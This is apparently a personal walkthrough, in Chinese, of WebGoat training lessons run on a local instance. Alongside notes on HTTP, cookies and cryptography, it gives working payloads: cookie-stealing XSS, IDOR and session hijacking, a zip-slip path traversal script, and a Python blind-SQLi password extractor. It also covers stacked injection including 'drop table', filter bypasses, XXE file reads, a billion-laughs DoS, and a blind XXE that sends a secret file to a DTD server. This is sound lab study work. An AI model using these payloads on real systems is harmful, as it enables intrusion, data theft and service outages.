Genral

HTTP Basics

数据包刨析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /WebGoat/HttpBasics/attack1 HTTP/1.1  # 请求方法为POST
Host: 127.0.0.1:8080 # 指定请求的服务器地址和端口号
Accept-Language: zh-CN,zh;q=0.9 # 指定客户端接受的语言
Sec-Fetch-Mode: cors # 指定请求的模式为CORS
Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=zwy20040219 # 指定发起请求的原始地址
Cookie: JSESSIONID=PI9_l7H3K0YI-JVKXE0_sM2kio6F7zkN8LX9inMn # 发送服务器之前存储的Cookie信息
sec-ch-ua-mobile: ?0 # 表示用户代理是否为移动设备
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 # 请求的浏览器类型和版本信息
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 # 指定请求正文的MIME类型
Origin: http://127.0.0.1:8080 # 指定请求的来源,用于CORS请求
Accept: */* # 指定客户端能够接收的内容类型
X-Requested-With: XMLHttpRequest # 用于指示请求是通过XMLHttpRequest发起的
Sec-Fetch-Site: same-origin # 指定请求的站点关系
Sec-Fetch-Dest: empty # 指定请求的目的地
sec-ch-ua-platform: "Windows" # 指定用户代理的平台
Accept-Encoding: gzip, deflate, br, zstd # 指定客户端支持的内容编码
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" # 指定用户代理的详细信息,包括浏览器品牌和版本
Content-Length: 18 # 指定请求正文的长度

person=zwy20040219 # 请求正文,这里是表单数据

Http Proxies

前置知识
1
2
3
4
5
安装抓包工具 Yakit/Burpsuite:
1、官网下载 https://yaklang.com
2、配置证书

安装浏览器代理插件 FoxyProxy
开始挑战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /WebGoat/HttpProxies/intercept-request?changeMe=Requests+are+tampered+easily HTTP/1.1

Host: 127.0.0.1:8080
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=zwy20040219
Cookie: JSESSIONID=PI9_l7H3K0YI-JVKXE0_sM2kio6F7zkN8LX9inMn
Origin: http://127.0.0.1:8080
Accept-Language: zh-CN,zh;q=0.9
x-request-intercepted: true
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd

Developer Tools

开始挑战
1
2
3
4
5
6
7
8
9
第一关:
Ctrl + Shift + J
输入 webgoat.customjs.phoneHome() 即可


第二关:
F12 选择 网络
点击 Go
查看数据包载荷即可

(A1) Broken Access Control-访问控制失效

Hijack a session

前置知识点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cookie、session和token:都是用来维护用户登录状态信息

set-cookie: 由服务器发送到客户端,告诉客户端存储一个Cookie
属性
Domain:指定Cookie的有效域。
Path:指定Cookie的有效路径。
Secure:Cookie只能通过HTTPS协议传输,不能通过HTTP传输。
HttpOnly:Cookie不能通过JavaScript等客户端脚本访问。

流程:
Cookie: 带着用户名密码发出请求 -> 服务端进行认证,返回一个cookie -> 下次请求就会带上cookie
(优点:存储在客户端 缺点:有被串改的风险)

Session: 带着用户名密码发出请求 -> 服务端进行认证,将用户信息存入 session 中,返回
session 的唯一ID -> 存储 sessionId 在 cookie 中
(优点:安全性高 缺点:占用服务器资源,拓展性差(分布式集群),跨域限制 面对集群环境以及前后端分离情况下,session 不在适用)

Token(放在Authorization 或 Cookie): 带着用户名密码发出请求 -> 服务端进行认证,生成 JWT 字符串 -> 客户端存储 JWT 字符串,下次请求时会带上
(JWT 字符串分为:header(加密算法)、Payload(用户部分信息)、Signature(签名保证header和payload没有被纂改))
开始挑战

1
2
3
4
5
6
7
8
9
10
利用重放模块发送数据包观察 cookie 生成的规律。

hijack_cookie=4166248199673680363-1737348708218
hijack_cookie=4166248199673680365-1737348872173
hijack_cookie=4166248199673680371-1737348931189

根据规律可知,可以将 cookie 通过 - 分为两个部分,前一部分是登录的序号,下一部分是时间戳。
hijack_cookie=4166248199673680363-1737348708218
hijack_cookie=4166248199673680365-1737348872173
这两个 cookie 中还有 4166248199673680364 时间戳范围为 1737348708218-1737348872173

Insecure Direct Object References

前置知识点
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Authorization: <type> <credentials>

HTTP协议中的一个头部字段,用于携带认证信息,以验证请求发送者的身份和权限,确保只有授权用户或系统能够访问受保护的资源,它通常包含令牌、凭证或其他认证数据,是Web应用中实现安全访问控制的关键机制。

RESful
每个HTTP方法(GET, POST, PUT, DELETE)都对应着一种对资源的操作,而这些操作都是通过URI来指向特定的资源。这就是RESTful风格的网络服务,它使得网络服务的交互变得直观和标准化。

GET:读取数据,不会改变资源的状态,可以多次执行得到相同的结果。
POST:通常用于创建资源,每次执行可能会创建一个新的资源。
PUT:用于更新资源,通常会替换整个资源,多次执行效果相同。
DELETE:用于删除资源,执行后资源不再存在。

例子:
1. 点菜(POST请求)
你决定要点宫保鸡丁和麻婆豆腐。你告诉服务员你的选择,这就像是在浏览器中填写一个表单,然后提交。
服务员(服务器)记录下你的点餐信息,并告诉你点餐成功。

2. 查看订单状态(GET请求)
你想知道菜做好没有,就问服务员订单状态。这相当于向服务器发送一个GET请求来获取订单资源的状态。
服务员(服务器)告诉你菜还在做,或者已经好了。

3. 修改订单(PUT请求)
你突然改变主意,想要把宫保鸡丁换成鱼香肉丝。你告诉服务员修改订单,这就像是在浏览器中发送一个PUT请求来更新订单资源。
服务员(服务器)更新了你的订单,并确认了更改。

4. 取消订单(DELETE请求)
由于某些原因,你决定不吃了,想要取消订单。你告诉服务员取消订单,这就像是在浏览器中发送一个DELETE请求来删除订单资源。
服务员(服务器)确认取消订单,并告诉你订单已经取消。
开始挑战
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
第一关:
输入账号 tom 密码 cat 即可。

第二关:
查看响应内容如下:
{
  "role" : 3,
  "color" : "yellow",
  "size" : "small",
  "name" : "Tom Cat",
  "userId" : "2342384"
}
输入:role,userId 即可

第三关:
WebGoat/IDOR/profile/2342384 在上一关的 url 后添加 userId 指定查看谁的信息

第四关:
通过爆破 userId 获取别人信息

1
修改需要用到 PUT 请求

Missing Function Level Access Control

开始挑战
1
2
3
4
5
第一关:
找到 hidden-menu-item dropdown 修改为 dropdown,即可看到多出一个选项,下拉会出现 Users、Config

第二关:
查看源码,请求这个地址 http://127.0.0.1:8080/WebGoat/access-control/users,直接点击按钮会显示 404 因为没有加上 WebGoat

1
当请求为 Conten-Type: application/json 时返回用户列表

1
2
第三关:
直接看源码


创建用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /WebGoat/access-control/users-admin-fix HTTP/1.1
Host: 127.0.0.1:8080
Origin: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-mobile: ?0
Accept: */*
Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=zwy20040219
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=PI9_l7H3K0YI-JVKXE0_sM2kio6F7zkN8LX9inMn
Content-Type: application/json; charset=UTF-8
Content-Length: 61

{"username":"zwy20040219","password":"123","admin":true}]

然后直接请求 /WebGoat/access-control/users-admin-fix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /WebGoat/access-control/users-admin-fix HTTP/1.1
Host: 127.0.0.1:8080
Origin: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-mobile: ?0
Accept: */*
Referer: http://127.0.0.1:8080/WebGoat/start.mvc?username=zwy20040219
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=PI9_l7H3K0YI-JVKXE0_sM2kio6F7zkN8LX9inMn
Content-Type: application/json; charset=UTF-8
Content-Length: 61
开始挑战
1
获取 Cookie

1
利用Cyberchef解密,发现Cookie经过Hex加密到Base64加密

1
2
3
4
rODPzBpshKtaogbew
逆过来看
webgoatKhspBzPDOr
所以 Tom 的 cookie为

1
2
带上 cookie 访问即可。
spoof_auth=NzI0ZjQ0NTA3YTQyNzA3MzY4NGI2ZDZmNTQ=

(A2) Cryptographic Failures-加密失败

Crypto Basics

边学边做

Base64 编码(第一关)

1
进行 Base64 解码即可

XOR 编码(第二关)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# a ^ b = c    c ^ b = a
# IBM WebSphere Application Server 默认使用 '_' 作为 key

import base64

base64_text = "Oz4rPj0+LDovPiwsKDAtOw=="
xor_text = base64.b64decode(base64_text)
key = "_"
flag = ""
print(xor_text)
for i in range(len(xor_text)):
    flag += chr(xor_text[i] ^ ord(key))
print(flag)

# databasepassword

哈希(第三关)

1
2
3
4
5
MD5:MD5生成一个128位的哈希值,通常表示为32个十六进制数字
sha256:SHA-256生成一个256位的哈希值,通常表示为64个十六进制数字

解密网站:
https://www.cmd5.com/default.aspx

对称加密(AES、3DES)

1
2
3
4
5
6
7
8
9
对称加密是一种加密技术,其中加密和解密过程使用相同的密钥,这意味着通信双方必须共享这个密钥,并且要确保其安全性,因为密钥的泄露会导致加密信息的暴露,对称加密算法因其加解密速度快而广泛应用于数据存储和传输的加密场景。

AES:
支持三种密钥长度:128位、192位和256位
支持多种工作模式,电子密码本(ECB)、密码块链(CBC)、密码反馈(CFB)和输出反馈(OFB)等

3DES:
3DES使用三个56位的密钥,总密钥长度为168位。然而,由于中间密钥的重复使用,其有效密钥长度实际上是112位。
3DES同样支持多种工作模式,如ECB、CBC等

非对称加密(RSA、DSA)

1
非对称加密是一种使用一对密钥(公钥和私钥)的加密技术,公钥用于加密信息,私钥用于解密,公钥可以公开分享,而私钥必须保密,这种加密方式提供了安全性高的通信保护,常用于数据加密、数字签名和密钥交换。

HTTPS(TLS/SSL 同时使用对称密钥和非对称密钥)

1
服务端需要申请 SSL 证书,SSL 证书需要生效就需要向 CA 申请


第 6 关:

1
2
3
# 将密钥的模数进行 sha256 签名 -> base64编码(看源码)

echo -n "A5877DEE7F6C614D2C7EF47D237DDF92609A29DC4EDDC940326C70B5C587CADBF985E080D23F3D076E68CFF0C42C09DBD40674F2C5367651B832EAE2FA82E43C6B327C8DCFFAC9713948B8F786C43CECD7C89AD41C8464B851CB6CC1E049A3615D8C76FE0210712D81CCFAC8F44C3FEA03DD694922A2644D437D1E0436769003C6BB6DA64074EE6C5FF9755025FA010D2E39CA6315578B4381B4BDC4268225787843DF99D1479402E83405A36FF3B258C628A63F75F20C9DB7CB9038537250122399F60FDCB2BA480DA57F80333FE9DB0A7993F2AB8A15C135EAB8045E825DAAFB70A0B87E6A02FE173F49EF4C34FCCA93CE04D4CECC761DBF56348770FB47AB" | openssl dgst -sha256 -sign webgoat.key | base64

第 8 关:

1
2
3
4
5
6
7
8
# 运行容器,没有的话会自动向 Docker Hub 进行下载
docker run -d webgoat/assignments:findthesecret
# 进入容器
docker exec --user=root -it 39569db88bf1 /bin/bash
# 查看
cat /root/default_secret
# 解密
echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -k ThisIsMySecretPassw0rdF0rY0u

补充:

1
2
3
4
5
证书内容:
证书拥有者的基本信息(比如 HTTPS 证书的话,包括拥有者的域名 CNAME,公司或者组织名称等)
证书颁发者的基本信息
证书拥有者的公钥
对公钥和其他信息的签名

证书签名流程:

openssl 自签名证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1、先利用 openssl 生成一个根证书私钥
openssl genrsa -aes256 -out ca.key 2048
# 2、根据密钥生成根证书
openssl req -x509 -new -key ca.key -out ca.crt -days 365

# 3、利用 openssl 生成被签名证书的私钥
openssl genrsa -out server.key 2048
# 4、个根据密钥生成 csr 文件(证书签名请求)
openssl req -new -key server.key -out server.csr
# 5、利用根证书对 csr 文件进行签名生成 crt 证书
openssl x509 -req -in ./server.csr -CA ./ca.crt -CAkey ./ca.key -set_serial 0x01 -out server.crt -days 365

openssl x509 -in ca.crt -text -noout # 查看证书
openssl rsa -in private.key -pubout -out public.key # 生成公钥

(A3) Injection-注入攻击

Cross Site Scripting (mitigation)

开始挑战
1
1、对不信任的输入/输出进行编码(HTML实体编码)

第一关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
<html>
<head>
<title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
<h1>Using POST Method to Read Form Data</h1>
<table>
<tbody>
<tr>
<td><b>First Name:</b></td>
<td>${e:forHtml(param.first_name)}</td>
</tr>
<tr>
<td><b>Last Name:</b></td>
<td>${e:forHtml(param.last_name)}</td>
</tr>
</tbody>
</table>
</body>
</html>

第二关:

1
2
3
4
5
6
7
8
9
10
11
import org.owasp.validator.html.*;
import MyCommentDAO;

public class AntiSamyController {
public void saveNewComment(int threadID, int userID, String newComment){
Policy policy = Policy.getInstance("antisamy-slashdot.xml");
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(newComment, policy);
MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
}
}

Cross Site Scripting AND Cross Site Scripting (stored)

前置知识点
1
2
3
4
5
6
XSS基本类型:
- 反射型 XSS 注入
- 基于 DOM 的 XSS 注入
- 存储型 XSS 注入

根本原因:现代Web浏览器会解析并执行HTML页面中的JavaScript代码

反射型 XSS

开始挑战
1
2
3
4
5
6
7
第一关:
Ctrl + Shift + J:可以快速打开控制台
输入 alert(document.cookie); 即可弹出Cookie

第二关:
查看输入的那个部分会显示在页面上,显示在页面上就表示会加载输入的内容,如果是恶意脚本那么也会被执行。
<script>alert(document.cookie)</script>

第三关 and 第四关(DOM 型 XSS):

1
2
3
4
5
了解前端的路由设置:

http://127.0.0.1:8080/WebGoat/start.mvc?username=zwy20040219#lesson/CrossSiteScripting.lesson/9 中 # 符号之后的部分(称为“片段标识符”)用于定位页面内的特定部分

通过搜索 router 关键字定位 javascript 路由器位置

1
2
3
4
5
6
所以可以构造
http://127.0.0.1:8080/WebGoat/start.mvc?username=zwy20040219#test/123 看看 123 有没有显示在页面上如果有则存在 DOM 型 XSS,然后把 123 替换为如下代码,为了避免歧义我们需要对我们输入的内容进行 url 编码
%3Cscript%3Ewebgoat.customjs.phoneHome%28%29%3C%2Fscript%3E

当然也可以看源代码进行跟踪:testRoute 函数调用 lessonController.js 中的 testHandler 函数,testHandler 函数调用 lessonContentView.js 的 showTestParam 函数,showTestParam 函数执行如下代码,将输入参数显示在页面上
this.$el.find('.lesson-content').html('test:' + param);

存储型 XSS

1
通过将 xss 恶意脚本 <script>webgoat.customjs.phoneHome()</script> 写入评论区,这样当有人访问这个页面时就会加载这个恶意脚本。

Path traversal

开始挑战
1
2
3
4
5
6
7
8
第一关:
发现上传的文件被重命名为test,通过抓包修改 test 为 ../test

第二关:
会删除 ../ 这里上写绕过,....//test

第三关:
根据提交的文件名进行命名,../Capture001.png

第四关:

1
2
当然,这是一个简单的示例,在大多数情况下,这不会作为框架实现的控件起作用。所以我们需要更有创意并开始编码../ 在请求发送到服务器之前。例如,如果我们对 URL 进行 ../,您将得到 %2e%2e%2f,接收此请求的 Web 服务器会再次将其解码为 ../ 的
另外,请注意,避免应用程序过滤这些编码的双重编码也可能有效。当您的系统 A 调用系统 B 时,可能需要双重编码。系统 A 将仅解码一次,并使用仍在编码的 URL 调用 B。

1
2
3
4
5
然后尝试修改id值,无需加上后缀

id=path-traversal-secret
id=%2e%2fpath-traversal-secret
id=%2e%2f%2e%2fpath-traversal-secret

第五关:

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)  #生成的zip文件
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write(r"F:\Users\曾维晔\Desktop\1.png", r"../../../../\Users\曾维晔\.webgoat-2023.8\PathTraversal\zwy20040219\zwy20040219.jpg", zipfile.ZIP_DEFLATED)  ##压缩的文件和在zip中显示的文件名
        zipFile.close()
    except IOError as e:
        raise e

# 通过上面代码生成压缩包即可,主要是将压缩文件保存名改为 ../../../../\Users\曾维晔\.webgoat-2023.8\PathTraversal\zwy20040219\zwy20040219.jpg 对应修改即可。

SQL Injection (advanced)

开始挑战
1
2
3
4
5
6
7
内联注释:/* */
行注释:--、#
多查询:select * from users; drop table users;

第一关:
堆叠注入:1';select * from user_system_data;--+
Union方法:1' union select userid,user_name,password,cookie,'5','6',7 from user_system_data--+(注意列数与user_data表中的列数和类型一致)

第二关(有难度,从源码上分析):
1、判断注入点:
方法一(看源码):
登录界面没有 SQL 注入漏洞

注册界面存在 SQL 注入,也可以使用堆叠注入改变 tom 的密码但是需要知道表名和列名。

方法二:
可以通过输入单引号来判断有没有注入漏洞,如果使用参数化查询输入单引号不会被数据库解释为 SQL 代码的一部分所以没问题,反之若存在注入漏洞则会出现报错。

2、通过布尔盲注猜测密码
(1)猜测密码长度

(2)这里通过编写 python 脚本获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"
lists = [chr(i) for i in range(33, 127)]
headers = {
    "Cookie": "JSESSIONID=yt0UMpRO2fouVzgHqMNFNQ7CHlEeBCZEWfJbepHk"
}

for i in range(1,24):
    for c in lists:
        payload = "tom' and substring(password,"+str(i)+",1)='"+c+"'--+"
        formdata = {
        "username_reg":payload,
        "email_reg":"123@123.com",
        "password_reg":"123",
        "confirm_password_reg":"123"
        }
        response = requests.put(url, data=formdata,headers=headers)
        if r"already" in response.text:
            print(c,end="")

# thisisasecretfortomonly

SQL Injection (intro)

前置知识
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
SQL分类:
DDL(Data Definition Language):数据定义语言,用来定义数据库对象:库、表、列等;
DML(Data Manipulation Language):数据操作语言,用来定义数据库记录(数据);
DCL(Data Control Language):数据控制语言,用来定义访问权限和安全级别;
DQL(Data Query Language):数据查询语言,用来查询记录(数据)


DML语句:
插入语句:
INSERT INTO 表名(列名1, 列名2) VALUES(值1, 值2);
修改语句:
UPDATE 表名 SET 字段1=1,字段2=2 WHERE 字段3=3;
删除语句:
DELETE FROM 表名 WHERE 字段1=1;

DQL语句:
语法:
select 列名 ----> 要查询的列名称
from 表名 ----> 要查询的表名称
where 条件 ----> 行条件
group by 分组列 ----> 对结果分组
having 分组条件 ----> 分组后的行条件
order by 排序列 ----> 对结果分组
limit 起始行, 行数 ----> 结果限定

查询所有:
SELECT * FROM 表名;
查询某一行某一列:
SELECT 字段1 FROM 表名 WHERE 字段2=2;
开始挑战
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-- 不区分大小写
select department from employees where first_name='Bob';

update employees set department='Sales' where first_name='Tobi';

alter table employees add column phone varchar(20);

grant all on grant_rights to unauthorized_user;

select * from user_data where first_name='John' and last_name='Smith' or '1'='1';

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1=1

SELECT * FROM employees WHERE last_name='1' AND auth_tan='1' or '1'='1';

select * from employees where last_name='1' and auth_tan='1';update employees set salary=1000000 where first_name='John';

1';drop table access_log;--

SQL Injection (mitigation)

开始挑战
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
方法一:使用参数化查询
方法二:过滤输入


空格过滤绕过:
(1)用多行注释/**/绕过
(2)空白字符绕过(%20 %09 %0a %0b %0c %0d %a0 %00等)
(3)括号绕过
(4)反引号`
(5)两个空格

关键字过滤绕过:
(1)关键字内插入/**/
(2)大小写绕过
(3)双写绕过(删除关键字的情况)
(4)内联注释绕过(mysql)(把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行)
(5)关键字内插入<>(有些网站为了防止xss可能过滤<>)
(6)and和or可以试试&&、||或者异或注入


第三关(过滤空格):
1';select/**/*/**/from/**/user_system_data--

第四关(过滤 select、from):
1';seselectlect/**/*/**/frofromm/**/user_system_data--

第 5 关:

1
2
3
4
5
通过ORDER BY实现SQL注入,通过随意点击抓包发现通过点击不同的上下三角即可排序,并发送GET请求
GET /WebGoat/SqlInjectionMitigations/servers?column=hostname HTTP/1.1
合理认为后端 SQL 语句为 select * from 表名 order by xxx

也就是说 url 中的 column 参数会拼接到 SQL语句也就是替换 xxx。我们可以将column参数设置为单引号让sql语句报错,获取报错信息。

1
2
3
4
5
6
7
8
9
10
select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by ';

我们可以把单引号替换为 (CASE WHEN (TRUE) THEN hostname ELSE ip END) 这种格式,将 True 替换为我们的判断语句,若为真则以 hostname 进行排序反之以 ip 进行排序类似 布尔盲注。

第一位:
(CASE+WHEN+(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='1')+THEN+hostname+ELSE+ip+END)
第二位:
(CASE+WHEN+(substring((select+ip+from+servers+where+hostname='webgoat-prd'),2,1)='0')+THEN+hostname+ELSE+ip+END)
第三位:
(CASE+WHEN+(substring((select+ip+from+servers+where+hostname='webgoat-prd'),2,1)='4')+THEN+hostname+ELSE+ip+END)

(A5) Security Misconfiguration-安全配置错误

XXE

前置知识
1
2
3
4
5
6
7
XML 用于传输数据,HTML 用于显示数据。
什么是 XML 实体?
XML 实体允许定义标记,这些标记将在解析 XML 文档时替换为内容。通常有三种类型的实体:
-   内部实体
-   外部实体
-   parameter 实体。
必须在文档类型定义 (DTD) 中创建一个实体,让我们从一个例子开始:

1
2
3
正如你所看到的,一旦解析器处理了 XML 文档,它就会用定义的常量 “Jo Smith” 替换定义的实体 js。如您所见,这有很多优点,因为您可以在一个地方将 js 更改为例如“John Smith”。

在 Java 应用程序中,XML 可用于将数据从客户端获取到服务器,我们都熟悉 JSON API,我们也可以使用 xml 来获取信息。大多数情况下,框架会根据 xml 结构自动填充 Java 对象,例如:

XXE 注入
1
2
3
4
5
6
7
  XML 外部实体攻击是一种针对解析 XML 输入的应用程序的攻击。当包含对外部实体的引用的 XML 输入由配置较弱的 XML 解析器处理时,会发生此攻击。此攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在计算机的角度进行端口扫描以及其他系统影响。
攻击可能包括使用系统标识符中的 file: 方案或相对路径泄露本地文件,其中可能包含敏感数据,例如密码或私人用户数据。由于攻击是相对于处理 XML 文档的应用程序发生的,因此攻击者可以使用此受信任的应用程序转向其他内部系统,可能通过 http(s) 请求泄露其他内部内容或对任何未受保护的内部服务发起 CSRF 攻击。在某些情况下,易受客户端内存损坏问题的 XML 处理器库可能通过取消引用恶意 URI 来利用,从而可能允许在应用程序帐户下执行任意代码。其他攻击可以访问可能无法停止返回数据的本地资源,如果未释放太多线程或进程,可能会影响应用程序可用性。

一般来说,我们可以区分以下类型的 XXE 攻击:
- Classic:在这种情况下,外部实体包含在本地 DTD 中
- 盲目:响应中不显示输出和/或错误
- 错误:尝试获取错误消息中资源的内容
XXE 示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 让我们看一个 XXE 注入的例子,在上一节中,我们看到 XML 实体可以按如下方式使用:
<?xml version="1.0" standalone="yes" ?>
<!DOCTYPE author [
<!ELEMENT author (#PCDATA)>
<!ENTITY js "Jo Smith">
]>
<author>&js;</author>
----------------------------------------------------------------------------------
外部 DTD 声明
定义这些实体还可以在外部文件中定义另一个 DTD,例如:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "email.dtd">
<email>
<to>webgoat@webgoat.org</to>
<from>webwolf@webwolf.org</from>
<subject>Your app is great, but contains flaws</subject>
<body>Hi, your application contains some SQL injections</body>
</email>

email.dtd 可以定义如下:
<!ELEMENT email (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT subject (#PCDATA)>
<!ELEMENT body (#PCDATA)>
-----------------------------------------------------------------------------------
如果 XML 解析器配置为允许外部 DTD 或实体,则可以使用以下内容更改以下 XML 代码段:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>

开始挑战

第一关:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///d:\">
]>
<comment>
<text>&js;</text>
</comment>

第二关

1
2
3
4
5
6
7
8
9
10
提示:在现代 REST 框架中,服务器可能能够接受您作为开发人员没有考虑过的数据格式。
将 Conten-Type 类型修改为 application/xml,并修改请求体为第一关一致即可。但在实际中我们可能不知道 XML元素结构,比如这一题我们只知道有一个 text 元素。如果我们构造 xml 如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///d:\">
]>
<text>&js;</text>

就会报错。

XXE DOS 攻击(了解即可):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当 XML 解析器加载此文档时,它会看到它包含一个根元素“lolz”,该元素包含文本“&lol9;”。但是,“&lol9;” 是一个定义的实体,它扩展为包含 10 个 “&lol8;” 字符串的字符串。每个 “&lol8;” 字符串都是一个定义的实体,可以扩展为 10 个 “&lol7;” 字符串,依此类推。在处理完所有实体扩展之后,这个小的 (< 1 KB) XML 块实际上将占用近 3 GB 的内存。
XXE 盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
attack.dtd:
<!ENTITY % write "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?text=%file;'>">

请求体部分:
<?xml version="1.0"?>
<!DOCTYPE demo [
<!ENTITY % file SYSTEM "file:///C:\Users\曾维晔/.webgoat-2023.8//XXE/zwy20040219/secret.txt">
<!ENTITY % getdtd SYSTEM "http://127.0.0.1:8000/attack.dtd">
%getdtd;
%write;
]>
<comment><text>&send;</text></comment>

attack.dtd文件定义了一个名为 %write 的参数实体,它包含了一个名为 send 的实体定义。当 %write 被引用时,它将定义 send 实体,该实体会尝试从指定的URL获取内容,并将 %file; 实体的值作为查询参数发送。

<!ENTITY % file SYSTEM "file:///C:\Users\曾维晔/.webgoat-2023.8//XXE/zwy20040219/secret.txt">:这定义了一个名为 %file 的参数实体,它尝试从本地文件系统上的指定路径读取文件内容。
<!ENTITY % getdtd SYSTEM "http://127.0.0.1:8000/attack.dtd">:这定义了一个名为 %getdtd 的参数实体,它尝试从指定的URL加载外部DTD文件。
%getdtd;:这是对 %getdtd 参数实体的引用,它会触发外部DTD attack.dtd 的加载。
%write;:这是对 %write 参数实体的引用,它会在当前DTD中定义 send 实体。
<comment><text>&send;</text></comment>:这是XML文档的实际内容,它包含一个 comment 元素和一个 text 子元素。&send; 是对 send 实体的引用,当XML解析器处理这个实体引用时,它会尝试从 send 实体定义的URL获取内容,并将 %file 实体的值作为查询参数发送。

